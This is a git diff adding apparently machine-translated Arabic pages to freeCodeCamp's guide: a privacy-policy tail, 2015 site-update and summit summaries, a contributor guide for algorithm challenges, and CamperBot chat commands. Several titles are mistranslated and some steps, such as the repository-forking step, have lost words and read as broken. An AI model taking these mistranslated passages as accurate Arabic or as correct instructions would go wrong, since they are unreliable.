+إذا اخترت تقديم معلومات تعريف شخصية لنا ، فقد تتلقى رسائل بريد إلكتروني من حين لآخر تتعلق بمختبر Free Code ، أو الحصول على وظيفة ، أو تعلم كيفية البرمجة بشكل عام. قد يستخدم Free Code Camp أيضًا موفري خدمات آخرين من الجهات الخارجية لتسهيل تقديم الخدمات الموضحة أعلاه ، وقد يتم تزويد موفري الجهات الخارجية هذه أو يمكنهم الوصول إلى معلومات تحديد الهوية الشخصية لغرض وحيد هو توفير هذه الخدمات لك نيابة عن Free Code Camp.
+
+كما يمكن لمدونة Code Free الكشف عن معلومات التعريف الشخصية في ظروف قانونية خاصة. على سبيل المثال ، يمكن استخدام هذه المعلومات عندما يكون ذلك ضروريًا لحماية حقوق الطبع والنشر أو حقوق الملكية الفكرية الخاصة بنا ، أو إذا كان القانون يتطلب منا القيام بذلك.
+
+## معلومات مجهولة
+
+يمكن تقديم بيانات مجهولة مجهولة إلى منظمات أخرى نربطها لأغراض إحصائية. على سبيل المثال ، قد نبلغ مؤسسة أن نسبة معينة من زوار موقعنا هم من البالغين الذين تتراوح أعمارهم بين 25 و 35 عامًا.
+
+## Cookies and Beacons - Use by Free Code Camp؛ الانسحاب
+
+نستخدم ملفات تعريف الارتباط وسجلات البرامج لمراقبة استخدام FreeCodeCamp.com ولجمع معلومات غير شخصية عن زوار الموقع. ملفات تعريف الارتباط هي ملفات صغيرة تنقلها خدمة Free Code Camp إلى محركات الأقراص الصلبة للزوار لأغراض حفظ السجلات. تسمح لنا أنظمة المراقبة هذه بتتبع المعلومات العامة عن زوارنا ، مثل نوع المتصفحات (على سبيل المثال ، Firefox أو Internet Explorer) ، وأنظمة التشغيل (على سبيل المثال ، Windows أو Macintosh) ، أو مزودي الإنترنت (على سبيل المثال ، Comcast ) هم يستخدمون. يتم استخدام هذه المعلومات لأغراض إحصائية وأبحاث السوق لتخصيص المحتوى لأنماط الاستخدام ولتقديم الخدمات المطلوبة من قبل عملائنا. لحذف ملفات تعريف الارتباط هذه ، يرجى الاطلاع على إعدادات الخصوصية في متصفحك.
+
+تعد الإشارة عبارة عن كائن ملف إلكتروني (عادةً صورة شفافة) موضوعة في التعليمات البرمجية لصفحة ويب. نستخدم منارات طرف ثالث لمراقبة أنماط حركة الزوار من صفحة Free Code Camp.com إلى صفحة أخرى ولتحسين أداء الموقع. لا يمكن استخدام أي من المعلومات التي نجمعها بهذه الطريقة لتحديد أي شخص يزور موقعنا.
+
+## الأمان
+
+يتم تخزين أي معلومات تعريف شخصية يتم جمعها من خلال هذا الموقع على خوادم محدودة الوصول. سنحافظ على ضمانات لحماية هذه الخوادم والمعلومات التي تخزنها.
+
+## الدراسات الاستقصائية
+
+قد نقوم أحيانًا بإجراء دراسات استقصائية على الإنترنت. جميع الاستطلاعات طوعية وقد ترفض المشاركة.
+
+## حقوق النشر
+
+جميع حقوق النشر على FreeCodeCamp.com محمية بموجب قانون Free Code Camp. إذا كنت ترغب في إعادة توزيعه بخلاف مجرد مشاركته عبر وسائل التواصل الاجتماعي ، فيرجى الاتصال بنا على [team@freecodecamp.com](mailto:team@freecodecamp.com) .
+
+## الاتصال بنا
+
+إذا كانت لديك أسئلة حول Free Code Camp ، أو لتصحيح أو تحديث أو إزالة معلومات التعريف الشخصية ، يرجى مراسلتنا على البريد الإلكتروني على [team@freecodecamp.com](mailto:team@freecodecamp.com) .
+
+## روابط لمواقع ويب أخرى
+
+تحتوي مواقع Code Code على روابط إلى مواقع ويب أخرى. Free Code Camp ليس مسؤولاً عن ممارسات الخصوصية أو محتوى مواقع الويب الخاصة بهذه الأطراف الأخرى. نحث جميع زوار FreeCodeCamp.com على اتباع ممارسات الإنترنت الآمنة: لا تزودنا بمعلومات التعريف الشخصية إلى مواقع الويب هذه ما لم تقم بالتحقق من سياسات الأمان والخصوصية.
+
+## الاحتفاظ بالبيانات
+
+نحتفظ بمعلوماتك طوال الوقت اللازم للسماح لنا باستخدامها للأغراض التي أبلغناها لك والتقيد بالقوانين أو اللوائح المعمول بها.
+
+## تحويلات الأعمال
+
+بينما نستمر في تطوير أعمالنا ، قد نبيع أو نشتري شركات تابعة أو وحدات أعمال. في مثل هذه المعاملات ، عادة ما تكون معلومات العميل واحدة من أصول العمل المحولة ولكنها تظل خاضعة للوعود التي قطعتها في أي سياسة خصوصية موجودة من قبل (ما لم يكن ، بالطبع ، يوافق العميل على خلاف ذلك). أيضا ، في حالة غير المحتمل أن يتم الحصول على مخيم Free Code Camp ، أو جميع أصوله بشكل جوهري ، ستكون معلومات العميل واحدة من الأصول المنقولة ، وستظل خاضعة لسياسة الخصوصية الخاصة بنا.
+
+## حقوق الخصوصية الخاصة بك في كاليفورنيا
+
+إذا كنت مقيماً في ولاية كاليفورنيا ، يحق لك منع مشاركة معلوماتك الشخصية مع أطراف ثالثة لأغراض التسويق الخاصة بهم من خلال وسائل خالية من التكلفة. إذا أرسلت طلبًا إلى العنوان أعلاه ، سيوفر لك Free Code Camp إشعارًا إختيار العميل في كاليفورنيا والذي يمكنك استخدامه لإلغاء الاشتراك في مثل هذه المشاركة في المعلومات. لتلقي هذا الإشعار ، [أرسل](mailto:team@freecodecamp.com) طلبًا كتابيًا إلى [team@freecodecamp.com](mailto:team@freecodecamp.com) ، مع تحديد أنك تطلب "إخطار اختيار عميل كاليفورنيا". يرجى الانتظار لمدة ثلاثين (30) يومًا على الأقل للرد.
+
+## قبول شروط وأحكام سياسة الخصوصية
+
+باستخدام هذا الموقع ، فإنك تعني موافقتك على شروط وأحكام سياسة الخصوصية لموقع FreeCodeCamp.com. إذا كنت لا توافق على هذه الشروط ، يرجى عدم استخدام هذا الموقع. نحن نحتفظ بالحق ، وفقًا لتقديرنا الخاص ، في تغيير أجزاء من هذه السياسة أو تعديلها أو إضافتها أو إزالتها في أي وقت. تسري جميع البنود المعدلة تلقائيًا بعد مرور 30 ​​يومًا من نشرها مبدئيًا على الموقع. يرجى مراجعة هذه الصفحة بشكل دوري لأي تعديلات. يعني استمرار استخدامك لموقع FreeCodeCamp.com بعد نشر أي تغييرات على هذه الشروط أنك قبلت هذه التغييرات.
+
+إذا كان لديك أي أسئلة أو استفسارات ، يرجى إرسال بريد إلكتروني إلى [team@freecodecamp.com](mailto:team@freecodecamp.com) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-site-improvement-august-2015/index.md b/client/src/guide/arabic/meta/free-code-camp-site-improvement-august-2015/index.md
new file mode 100644
index 0000000000..7d36c6c3f7
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-site-improvement-august-2015/index.md
@@ -0,0 +1,32 @@
+---
+title: Free Code Camp Site Improvement August 2015
+localeTitle: حرر كود موقع مخيم تحسين أغسطس 2015
+---
+## تحسينات الأحد
+
+*   استبدال مقاطع الفيديو التي تبدأ التشغيل باستخدام عملية بسيطة مدتها 10 دقائق (باستخدام ملفات GIF بدلاً من مقاطع الفيديو)
+*   ضاعف من عدد تحديات HTML5 و Bootstrap
+*   استبدال JavaScript و jQuery Codecademy التحديات مع التحديات الخاصة بنا
+*   إضافة تحديات البرمجة الخاصة بالبرمجة الوظيفية والبرمجة الوظيفية الخاصة بنا
+*   إضافة واجهتين جديدتين أمام النهاية لمشروع الواجهة الأمامية (المحفظة الشخصية وسيمون لعبة) ، ونقل مشاريع الواجهة الأمامية لدينا في وقت مبكر جدا في مناهجنا الدراسية
+*   حلت محل دليلنا الميداني تمامًا مع wiki مفتوح المصدر وقابل للبحث وقابل للتعديل بسهولة
+*   جعلها حتى يتم تخزين رمز الخوارزمية الخاص بك في المستعرض الخاص بك ، لذلك إذا تركت الصفحة ، سيكون رمزك هناك عندما تعود
+*   تبسيط صفحات محفظة لدينا. يمكنك الآن النقر فوق زر واحد لمراعاة ملف تعريف Free Code Camp الخاص بك مع ملف تعريف GitHub الخاص بك. لم تعد حلول الخوارزميات موضحة هنا ، ولكن سيتم الوصول إليها في النهاية من خلال واجهة برمجة التطبيقات.
+*   إصلاح بعض المشاكل مع Brownie Points و Streaks
+*   تحسين صفحة أخبار Camper الخاصة بنا عن طريق إزالة التعليقات (غير المستخدمة في أغلب الأحيان) وإضافة upvoting بنقرة واحدة
+*   إضافة ترخيص Creative Commons لجميع صورنا ونصنا حرفيًا
+*   بفضل Loopback ، أصبح كل شيء الآن API ، وسننشر قريبًا طرقًا رائعة للتفاعل مع بيانات Free Code Camp (غير الحساسة)
+
+## التعليمات
+
+### التحدي الذي كنت أخفيته مؤخراً قد اختفى.
+
+يمكنك الاستمرار فقط. إذا كان لديك وقت للعودة وتجربة التحديات الجديدة ، فيجب أن تكون مراجعة سريعة لك. خلاف ذلك ، استمر في التقدم.
+
+### لماذا تقوم بنشر كل هذه التحسينات دفعة واحدة؟
+
+لقد عملنا على بعض الميزات لعدة أشهر على فرعنا التدريبي. تم تعليق معظمهم في مهمة واحدة: انتقالنا إلى [Loopback](http://loopback.io/) . بدأ [BerkeleyTrue](/users/berkeleytrue) العمل على هذا في شهر مارس.
+
+### كان نشر كل شيء في وقت واحد ضروري؟
+
+على الاغلب لا. من الآن فصاعدًا ، سننشر شفرة جديدة عدة مرات في اليوم (كما فعلنا قبل ميزة الاسترجاع). نحن نخطط للبدء في استخدام [التكامل المستمر](https://en.wikipedia.org/wiki/Continuous_integration) وأفضل الممارسات الأخرى الرشيقة ونحن نحد من ديوننا [الفنية](https://en.wikipedia.org/wiki/Technical_debt) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-streaks/index.md b/client/src/guide/arabic/meta/free-code-camp-streaks/index.md
new file mode 100644
index 0000000000..8f762a316c
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-streaks/index.md
@@ -0,0 +1,9 @@
+---
+title: Free Code Camp Streaks
+localeTitle: شيفرة كامب كامب
+---
+يعرض ملف تعريف المستخدم الخاص بك النشاط الأخير. إذا حصلت على [نقاط براوني](http://forum.freecodecamp.com/t/free-code-camp-brownie-points/18380) في عدة أيام متتالية ، فستبدأ في سلسلة.
+
+![صورة لقصة خط العربة تظهر سلسلة من 21 يومًا](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8e538a398b1081372505f02ad173e326fe0f5825.png)
+
+هذا يبين للجميع أنك نشط للغاية في مجتمعنا ، وأنك تكتب الكثير. عندما تتعلم الشفرة ، من المهم أن تقوم [برمز واحد على الأقل يوميًا](http://www.quora.com/How-does-one-become-a-great-coder/answer/Quincy-Larson) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-style-guide-for-algorithms/index.md b/client/src/guide/arabic/meta/free-code-camp-style-guide-for-algorithms/index.md
new file mode 100644
index 0000000000..94d5905e0e
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-style-guide-for-algorithms/index.md
@@ -0,0 +1,20 @@
+---
+title: Free Code Camp Style Guide for Algorithms
+localeTitle: دليل رمز مخيم نمط للخوارزميات
+---
+تعد تحديات كتابة الخوارزميات طريقة رائعة لممارسة قدراتك في حل المشكلات واختبارها. اتبع هذه العملية عن قرب لزيادة فرص قبولنا لخوارزمية حسابك.
+
+*   قم `seed_data/Algorithms.json` مستودع Camp Free Code وفتح `seed_data/Algorithms.json` للتعرف على تنسيق خوارزمياتنا.
+*   بغض النظر عن صعوبة الخوارزمية ، ضعها كخوارزمية أخيرة في ملف JSON. قم بتغيير أحد الأرقام الموجودة في المعرف للتأكد من أن الخوارزمية تحتوي على معرف فريد.
+*   في المحطة الطرفية ، قم بتشغيل `node seed_data/seed.js` تشغيل `gulp` . يجب أن تكون قادرًا على الانتقال إلى الخوارزمية الجديدة في خريطة التحدي. كلما قمت بإجراء تغيير على Algorithm.json ، ستحتاج إلى reseed من أجل رؤية هذه التغييرات في المستعرض.
+*   حل الخوارزمية الخاصة بك. تأكد من أن اختباراتك تعمل كما هو متوقع وأن تعليماتك واضحة بما فيه الكفاية.
+*   تقديم طلب سحب إلى فرع التدريج Code Camp Free وفي جسم طلب السحب ، قم بالارتباط بجسم يحتوي على حل الخوارزمي الخاص بك.
+
+فيما يلي وصف لكل حقل من حقول الخوارزميات.
+
+*   الاسم - اسم التحدي الخاص بك. من المقبول أن يكون هذا مضحكًا ، ولكن يجب أن يكون موجزًا ​​وملائمًا للمهمة.
+*   الصعوبة - محاولة تقييم صعوبة مقارنة مع تحديات الخوارزمية الموجودة. إن البروكسي الجيد لصعوبة الخوارزمية هو كم من الوقت يستغرق منك حلها. لكل 15 دقيقة يستغرق ، زيادة صعوبة. على سبيل المثال ، يجب أن تكون خوارزمية ساعة واحدة على الأرجح 4.
+*   وصف - فصل الفقرات مع فاصل سطر. فقط الفقرة الأولى مرئية قبل المستخدم قبل النقر فوق الزر "مزيد من المعلومات". يجب تضمين جميع المعلومات الضرورية في الفقرة الأولى. اكتب هذه الفقرة الأولى بإيجاز قدر الإمكان. يجب أن تقدم الفقرات اللاحقة تلميحات أو تفاصيل إذا لزم الأمر. إذا تضمن موضوعك فهمًا أعمق ، فيمكنك الربط بـ Wikipedia.
+*   Challenge Seed - هذا هو المكان الذي قمت بإعداد ما سيكون في محرر عندما يبدأ الكارافانات الخوارزمية.
+*   الاختبارات - هذه الاختبارات هي التي تجلب تحديك للحياة. بدونها ، لا يمكننا تأكيد دقة الإجابة المقدمة من المستخدم. اختر اختباراتك بحكمة. تتم كتابة اختبارات الخوارزميات باستخدام مكتبة تأكيد Chai.js. يرجى استخدام ينبغي أن نتوقع ونتوقع بناء الجملة من أجل قراءة المستخدم النهائي. كمثال على ما لا يجب القيام به ، تتم كتابة العديد من تحديات الخوارزمية الأصلية مع بناء الجملة كما أن العديد من حالات الاختبار يصعب قراءتها. إذا كان لسؤال الخوارزمية لديك الكثير من حالات الحواف ، فستحتاج إلى كتابة العديد من الاختبارات للتغطية الكاملة. إذا وجدت نفسك تكتب اختبارات أكثر مما تريد ، يمكنك التفكير في تبسيط متطلبات تحدي الخوارزمية. لصعوبة مستوى 1 إلى 3 ، سوف تحتاج عموما فقط 2 إلى 4 اختبارات.
+*   MDNlinks - إلقاء نظرة على `seed_data/bonfireMDNlinks.js` . إذا كانت أي من هذه المفاهيم ذات صلة بخوارزمية حسابك ، فاحرص على تضمينها. إذا كنت تعرف مقالة MDN غير مرتبطة هنا ، فيمكنك إضافتها إلى ملف bonfireMDNlinks.js قبل إضافتها إلى الخوارزمية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-twitch-account/index.md b/client/src/guide/arabic/meta/free-code-camp-twitch-account/index.md
new file mode 100644
index 0000000000..cdfe8b520f
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-twitch-account/index.md
@@ -0,0 +1,17 @@
+---
+title: Free Code Camp Twitch Account
+localeTitle: حساب الحر كامب نيتش حساب
+---
+Twitch هي خدمة بث حي يتدفق منها Free Code Camp بعيدا عن
+
+بقدر ما استمتعنا باستخدام هذه الخدمة ، كانت تيارات قليلة ومتباعدة ، وبالتالي لم يكن يخدم غرضها.
+
+لقد قررنا نقل تركيزنا على استخدام [YouTube](https://www.youtube.com/freecodecamp) لبث القمتين الشهريتين وبرامج البرمجة الزوجية بالإضافة إلى تحميل البرامج التعليمية والمشي لمسافات طويلة.
+
+يمكنك العثور على غرفة الدردشة على YouTube هنا: [FreeCodeCamp / YouTube](https://gitter.im/FreeCodeCamp/YouTube)
+
+يمكنك العثور على قناة نشل القديمة هنا: [twitch.tv/freecodecamp](https://www.twitch.tv/freecodecamp)
+
+~~ FreeCodeCamp يستخدم Twitch.tv لبث مجموعات البث المباشر. يمكن أن يكون هذا أي شيء بدءًا من برامج البث المباشر إلى القمة الشهرية ، حيث يتم الإعلان عن الأحداث الإخبارية الكبيرة والتطورات الجديدة. ~~
+
+~~ يتم تشجيع جميع مستويات المبرمجين للبث على قناة نشل FreeCodeCamp. إذا كان هذا شيئًا يثير اهتمامك ، فالرجاء الاتصال بتعديلات twitch على gitter. ~~
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-unofficial-local-groups/index.md b/client/src/guide/arabic/meta/free-code-camp-unofficial-local-groups/index.md
new file mode 100644
index 0000000000..5a0c2b7b3e
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-unofficial-local-groups/index.md
@@ -0,0 +1,9 @@
+---
+title: Free Code Camp Unofficial Local Groups
+localeTitle: معسكر كود غير رسمي مجموعات محلية
+---
+![صورة من دورة القهوة والرمز في تورنتو](https://discourse-user-assets.s3.amazonaws.com/original/2X/f/ff5fe6693f4d56b6b6b768d91f10bd4cdd9f3eb2.jpg)
+
+تمثل مجموعات دراسة Code Camp المجانية تجربة محلية لمجتمعنا ، ويتم تشغيلها وتنظيمها بالكامل بواسطة أشخاص مثلكم مخصصين لتعلم كيفية البرمجة ومساعدة الآخرين على القيام بذلك. مواقعهم على فيسبوك هي المكان المناسب لتنظيم أحداث نمط القهوة والكود ، أو برنامج زوجي محليًا في جلسات اختراق ، أو مشاركة الأخبار حول الأحداث الأخرى المتعلقة بالترميز في منطقتك. فهي تهدف إلى جمع الناس في غضون 15-20 دقيقة من بعضها البعض.
+
+سواء كنت تعيش في منطقة حضرية كبرى ، أو بلدة صغيرة ، فإننا نشجعك على الانضمام أو إنشاء مجموعتك الخاصة لمقابلة أشخاص آخرين مشغولين تعلموا رمزًا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camps-august-live-stream/index.md b/client/src/guide/arabic/meta/free-code-camps-august-live-stream/index.md
new file mode 100644
index 0000000000..69613a01f7
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camps-august-live-stream/index.md
@@ -0,0 +1,22 @@
+---
+title: Free Code Camps August Live Stream
+localeTitle: معسكرات كود مجانا أغسطس لايف ستريم
+---
+# كان [مجرى أغسطس المباشر من](https://youtu.be/UhoxoYrJ6Qs) Code Code أكبر برنامج حتى الآن.
+
+## تضمن جدول الأعمال:
+
+*   الكلمات الافتتاحية من مايكل
+*   تحديات الواجهة الأمامية الجديدة [3:00](https://youtu.be/UhoxoYrJ6Qs?t=3m)
+*   التحديات المكدسة حديثًا بالكامل
+*   مشاريع غير ربحية جديدة [12:32](https://youtu.be/UhoxoYrJ6Qs?t=12m32s)
+*   الويكي [22:49](https://youtu.be/UhoxoYrJ6Qs?t=22m49s)
+*   غرف الدردشة الجديدة [29:40](https://youtu.be/UhoxoYrJ6Qs?t=29m40s)
+*   New Live Streams [35:34](https://youtu.be/UhoxoYrJ6Qs?t=35m34s)
+*   محطة راديو الإنترنت الجديدة DJ من قبل المعسكر [36:30](https://youtu.be/UhoxoYrJ6Qs?t=36m30s)
+*   FCC Bot [39:24](https://youtu.be/UhoxoYrJ6Qs?t=39m24s)
+*   مات ياماموتو الواجهة الأمامية مشروع تجريبي [54:24](https://youtu.be/UhoxoYrJ6Qs?t=54m24s)
+*   [الخاتمة](https://youtu.be/UhoxoYrJ6Qs?t=1h4m15s) من كوينسي [1:04:15](https://youtu.be/UhoxoYrJ6Qs?t=1h4m15s)
+*   [سحب طلب بعد حزب مع كوينسي](https://youtu.be/r0lCJ_TFYlI)
+
+[![لقطة شاشة من تغذيتنا في 1 أغسطس 2015](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2630ba14f0dd558a01903fd81d4ebbb9309cb926.png)](http://www.youtube.com/watch?feature=player_embedded&v=UhoxoYrJ6Qs)
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camps-camperbot/index.md b/client/src/guide/arabic/meta/free-code-camps-camperbot/index.md
new file mode 100644
index 0000000000..151e0d1f32
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camps-camperbot/index.md
@@ -0,0 +1,75 @@
+---
+title: Free Code Camps Camperbot
+localeTitle: رمز الحر للمخيمات كامبيروت
+---
+مرحبًا ، أنا **[CamperBot](https://github.com/FreeCodeCamp/freecodecamp/wiki/camperbot)** ! يمكنني مساعدتك في هذه الغرفة ![:smile:](//forum.freecodecamp.com/images/emoji/emoji_one/smile.png?v=2 ":ابتسامة:")
+
+### الأوامر الأساسية:
+
+*   `find TOPIC` ابحث عن جميع المشاركات حول الموضوع. على سبيل المثال `find js`
+*   `wiki TOPIC` عرض محتويات صفحة الموضوع
+*   `thanks @username` إرسال نقاط `thanks @username` إلى مستخدم آخر
+*   `about @username` يظهر معلومات عن هذا المستخدم
+*   `Algorithm BONFIRENAME` معلومات `Algorithm BONFIRENAME` على خوارزمية
+
+تلبية CamperBot في [![FreeCodeCamp / camperbotPlayground </A>](https://gitter.im/FreeCodeCamp/camperbotPlayground)](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg) 
+
+## [أوامر المثال](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg)
+
+[](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg)
+
+ [`find js   # all JS entries 
+ wiki muta  # first entry with muta in name 
+ wiki bobbytables  # showing images 
+ wiki video  # and video 
+ rollem    # secret sauce 
+ Algorithm roman   # any Algorithm with roman in name` ](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg) 
+
+[](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg)
+
+للعب مع CamperBot يرجى استخدام قناة الاختبار: [https://gitter.im/FreeCodeCamp/camperbotPlayground](https://gitter.im/FreeCodeCamp/camperbotPlayground)
+
+## مساعدة على الخوارزميات
+
+عش حاليًا على قناة HelpBonFires على Gitter [https://gitter.im/FreeCodeCamp/HelpBonfires](https://gitter.im/FreeCodeCamp/HelpBonfires)
+
+لقد أضفنا بعض الأوامر الخاصة بالخوارزميات. إذا `Algorithm $BONFIRENAME` (حيث يمثل BONFIRENAME $ جزءًا من اسم الخوارزمية) ، فسيتم تعيين الدردشة لتكون حول تلك الخوارزمية. ثم يمكنك استخدام بعض أوامر خوارزمية معينة:
+
+*   تفاصيل bf - مزيد من المعلومات
+*   bf spoiler - اظهار بعض التلميحات
+
+## المزيد من الأوامر
+
+*   `update` تسحب تعديلات wiki جديدة في اسرع وقت ممكن
+*   `topics` مختارة الصفحات من الويكي
+*   `rooms` جميع الغرف في بوت
+*   `archives` تظهر التاريخ
+*   `music` موقوفة ، المكونات DJ لم تعد موجودة.
+*   `twitch` تظهر تغذية نشل
+
+## محتوى الويكي
+
+لا تتردد في إنشاء صفحات جديدة ، مثال إدخال هنا: [https://github.com/FreeCodeCamp/freecodecamp/wiki/example](https://github.com/FreeCodeCamp/freecodecamp/wiki/example)
+
+## مستودع المصدر
+
+`https://github.com/FreeCodeCamp/camperbot`
+
+تفرعها والمتعة!
+
+## خريطة الطريق
+
+نحن نبحث عن أفكار لميزات جديدة لإضافتها ، وبعض الأشخاص للمساعدة في العمل على البوت. إلقاء نظرة على التذاكر مع [مساعدة يريد](https://github.com/FreeCodeCamp/camperbot/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) على الريبو وربما يمكنك المساهمة؟
+
+في المستقبل ، نحن نخطط:
+
+*   ستكون الخوارزميات التدريجية خطوة بخطوة متاحة عبر الدردشة ومن CamperBot
+*   وضع العلامات في الوقت الفعلي والبحث عن الدردشات حسب الموضوع
+*   لغة برمجة نصية ومعالجة اللغة الطبيعية شارك وإخبرنا بما تود رؤيته بعد ذلك!
+
+## مطور غرفة الدردشة
+
+*   [انضم إلينا في غرفة دردشة المستودع لدينا](https://gitter.im/FreeCodeCamp/camperbot) لمناقشة الميزات الجديدة. ربما يمكننا الاقتران للعمل على بوت 2.0!
+*   [انضم](https://gitter.im/FreeCodeCamp/camperbotPlayground) إلى [غرفة الدردشة هذه للتحدث](https://gitter.im/FreeCodeCamp/camperbotPlayground) مع CamperBot وتجربة الأوامر ، ومراجعة تعديلاتك على محتوى الويكي إلخ.
+
+![استمتع](https://avatars1.githubusercontent.com/camperbot?&s=100) الترميز سعيدة!
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camps-summit-august-2015/index.md b/client/src/guide/arabic/meta/free-code-camps-summit-august-2015/index.md
new file mode 100644
index 0000000000..3c52b756e7
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camps-summit-august-2015/index.md
@@ -0,0 +1,22 @@
+---
+title: Free Code Camps Summit August 2015
+localeTitle: Free Code Camps Summit August 2015
+---
+كان مجرى أغسطس المباشر من Code Code أكبر برنامج حتى الآن.
+
+## تضمن جدول الأعمال:
+
+*   الكلمات الافتتاحية من مايكل
+*   تحديات الواجهة الأمامية الجديدة [3:00](https://youtu.be/UhoxoYrJ6Qs?t=3m)
+*   التحديات المكدسة حديثًا بالكامل
+*   مشاريع غير ربحية جديدة [12:32](https://youtu.be/UhoxoYrJ6Qs?t=12m32s)
+*   الويكي [22:49](https://youtu.be/UhoxoYrJ6Qs?t=22m49s)
+*   غرف الدردشة الجديدة [29:40](https://youtu.be/UhoxoYrJ6Qs?t=29m40s)
+*   New Live Streams [35:34](https://youtu.be/UhoxoYrJ6Qs?t=35m34s)
+*   محطة راديو الإنترنت الجديدة DJ من قبل المعسكر [36:30](https://youtu.be/UhoxoYrJ6Qs?t=36m30s)
+*   FCC Bot [39:24](https://youtu.be/UhoxoYrJ6Qs?t=39m24s)
+*   مات ياماموتو الواجهة الأمامية مشروع تجريبي [54:24](https://youtu.be/UhoxoYrJ6Qs?t=54m24s)
+*   [الخاتمة](https://youtu.be/UhoxoYrJ6Qs?t=1h4m15s) من كوينسي [1:04:15](https://youtu.be/UhoxoYrJ6Qs?t=1h4m15s)
+*   [سحب طلب بعد حزب مع كوينسي](https://youtu.be/r0lCJ_TFYlI)
+
+[![لقطة شاشة من تغذيتنا في 1 أغسطس 2015](//discourse-user-assets.s3.amazonaws.com/original/2X/a/ae495957ffa462d9cb26a59b9a4e79e8407a700c.png)](http://www.youtube.com/watch?feature=player_embedded&v=UhoxoYrJ6Qs)
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camps-summit-december-2015/index.md b/client/src/guide/arabic/meta/free-code-camps-summit-december-2015/index.md
new file mode 100644
index 0000000000..a1aab4548f
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camps-summit-december-2015/index.md
@@ -0,0 +1,75 @@
+---
+title: Free Code Camps Summit December 2015
+localeTitle: Free Code Camps Summit December 2015
+---
+[قمة قانون كامب في ديسمبر](https://youtu.be/TsIzthxhTHc)
+
+في ما يلي ملخص لأولئك الذين ليس لديهم الوقت لمشاهدة 90 دقيقة كاملة:
+
+**\--المناهج الجديدة--**
+
+لن يتغير أي شيء بما في ذلك شهادة تطوير الواجهة الأمامية.
+
+\- ستصبح شهادة Full Stack القديمة الآن شهادة Backend. وسيشمل ذلك العناصر الخلفية الحالية (بما في ذلك مشاريع النهاية الخلفية) وسيتضمن أيضًا مشاريع Back End لمشاريع 5JSON / API. سيتم تضمين الخوارزميات المتقدمة هنا.
+
+سيحل -React.js محل Angular / js وسيكون في شهادة التمثيل البصري للبيانات كما هو الحال مع SASS و D3.js. تشمل هذه الشهادة مشاريع React / SASS ومشاريع D3.
+
+\-تأتي شهادة تطوير المكدس الكامل بعد الانتهاء من ثلاث شهادات أخرى وأربعة مشاريع غير ربحية. اثنان من هذه المشاريع سيكونان مشروعين جديدين وسيحتفظ اثنان منهما بالمدونة القديمة.
+
+\-Interview التحضير يشمل الإعداد المسبق للمقابلة ، السبورة الإعدادية ، وإجراء مقابلات مع غيرها من المعسكر ، ويعيش.
+
+بعض التغييرات التي تتمحور حول المناهج الجديدة سوف تكون حية في غضون أيام قليلة.
+
+**\--Challenges--**
+
+[\-SaintPeter](/users/saintpeter) يقوم بإنشاء 60 تحديًا جديدًا [لجافا](/users/saintpeter) سكريبت.
+
+\- إنشاء "نقاط تفتيش" جديدة ستتصرف مثل الخوارزميات الصغيرة أثناء التحديات. وستكون التحديات "صفحة فارغة" التي تهدف إلى تسهيل المعسكر في الانتقال من التحديات إلى الخوارزميات.
+
+\-هناك أداة تحدي "التحدي-س-ماتيتش" التي سيتمكن أي شخص من استخدامها لخلق التحديات والمساهمة في FCC.
+
+**\--Hikes--**
+
+\- "هايكس" هي مقاطع فيديو قصيرة تغطي مفاهيم علوم الكمبيوتر الأساسية. سيتم توسيعها إلى أي موضوع ذي صلة بالبرمجة ، بما في ذلك الرياضيات والهندسة ، إلخ. والأمل هو أن يشارك المشاركون في المعسكرات في مقاطع فيديو حول مواضيع إضافية يشعرون أنها ذات صلة.
+
+الهدف الوحيد من FCC هو جعل المنهج الدراسي بأكمله متاحًا في وضع عدم الاتصال. ناقش [QuincyLarson](/users/quincylarson) فكرة وجود Raspberry Pis محملة FCC وتوزيعها.
+
+**\- تحليل المجتمع--**
+
+\-هناك " [FCC Data Science Chat"](https://gitter.im/FreeCodeCamp/DataScience) على Gitter حيث يتم نشر بعض التحليلات الرائعة حول FCC.
+
+\- لدى [FCC Labs](https://www.freecodecamp.com/labs) بعض التطبيقات الرائعة التي يمكنك استخدامها للنظر إلى بعض تصورات البيانات التي تم بناؤها حتى الآن.
+
+**\- جديد FCC Wiki--**
+
+تم نقل الويكي إلى ريبو جديد بسبب البريد المزعج. يمكن للكامب الذين يرغبون في المساهمة تقديم طلب سحب على [الريبو](https://www.github.com/freecodecamp/wiki) .
+
+\- الويكي الجديد متاح على [موقع بيتا](https://beta.freecodecamp.com/wiki) .
+
+**\--Q وA--**
+
